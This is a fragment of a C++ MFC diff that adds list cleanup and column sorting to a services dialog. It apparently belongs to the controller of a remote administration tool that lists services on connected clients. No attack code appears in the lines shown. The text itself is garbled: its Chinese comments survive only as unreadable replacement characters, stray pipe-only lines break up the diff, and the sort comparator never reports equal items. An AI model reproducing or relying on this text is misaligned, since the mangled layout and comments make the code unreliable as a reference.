m_ContextObject->v1 = 0;
|
||||||
#endif
|
#endif
|
||||||
|
DeleteAllItems();
|
||||||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||||
closesocket(m_ContextObject->sClientSocket);
|
closesocket(m_ContextObject->sClientSocket);
|
||||||
CDialog::OnClose();
|
CDialog::OnClose();
|
||||||
@@ -152,6 +164,57 @@ void CServicesDlg::OnServicesReflash()
|
|||||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// <20>ͷ<EFBFBD><CDB7><EFBFBD>Դ<EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
void CServicesDlg::DeleteAllItems() {
|
||||||
|
for (int i = 0; i < m_ControlList.GetItemCount(); i++)
|
||||||
|
{
|
||||||
|
auto data = (ItemData1*)m_ControlList.GetItemData(i);
|
||||||
|
if (NULL != data) {
|
||||||
|
delete data;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
m_ControlList.DeleteAllItems();
|
||||||
|
}
|
||||||
|
|
||||||
|
int CALLBACK CServicesDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort) {
|
||||||
|
auto* pSortInfo = reinterpret_cast<std::pair<int, bool>*>(lParamSort);
|
||||||
|
int nColumn = pSortInfo->first;
|
||||||
|
bool bAscending = pSortInfo->second;
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1>ֵ
|
||||||
|
ItemData1* context1 = (ItemData1*)lParam1;
|
||||||
|
ItemData1* context2 = (ItemData1*)lParam2;
|
||||||
|
CString s1 = context1->GetData(nColumn);
|
||||||
|
CString s2 = context2->GetData(nColumn);
|
||||||
|
|
||||||
|
int result = s1 > s2 ? 1 : -1;
|
||||||
|
return bAscending ? result : -result;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CServicesDlg::SortByColumn(int nColumn) {
|
||||||
|
static int m_nSortColumn = 0;
|
||||||
|
static bool m_bSortAscending = false;
|
||||||
|
if (nColumn == m_nSortColumn) {
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬһ<CDAC>У<EFBFBD><D0A3>л<EFBFBD><D0BB><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>
|
||||||
|
m_bSortAscending = !m_bSortAscending;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD><D0BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||||
|
m_nSortColumn = nColumn;
|
||||||
|
m_bSortAscending = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
|
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
|
||||||
|
m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
|
||||||
|
}
|
||||||
|
|
||||||
|
void CServicesDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult) {
|
||||||
|
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
|
||||||
|
int nColumn = pNMHeader->iItem; // <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
SortByColumn(nColumn); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
*pResult = 0;
|
||||||
|
}
|
||||||
|
|
||||||
void CServicesDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
|
void CServicesDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
|
||||||
{
|
{
|
||||||
@@ -169,7 +232,7 @@ void CServicesDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
|
|
||||||
void CServicesDlg::OnReceiveComplete(void)
|
void CServicesDlg::OnReceiveComplete(void)
|
||||||
{
|
{
|
||||||
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
|
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0))
|
||||||
{
|
{
|
||||||
case TOKEN_SERVERLIST:
|
case TOKEN_SERVERLIST:
|
||||||
ShowServicesList();
|
ShowServicesList();
|
||||||
|
|||||||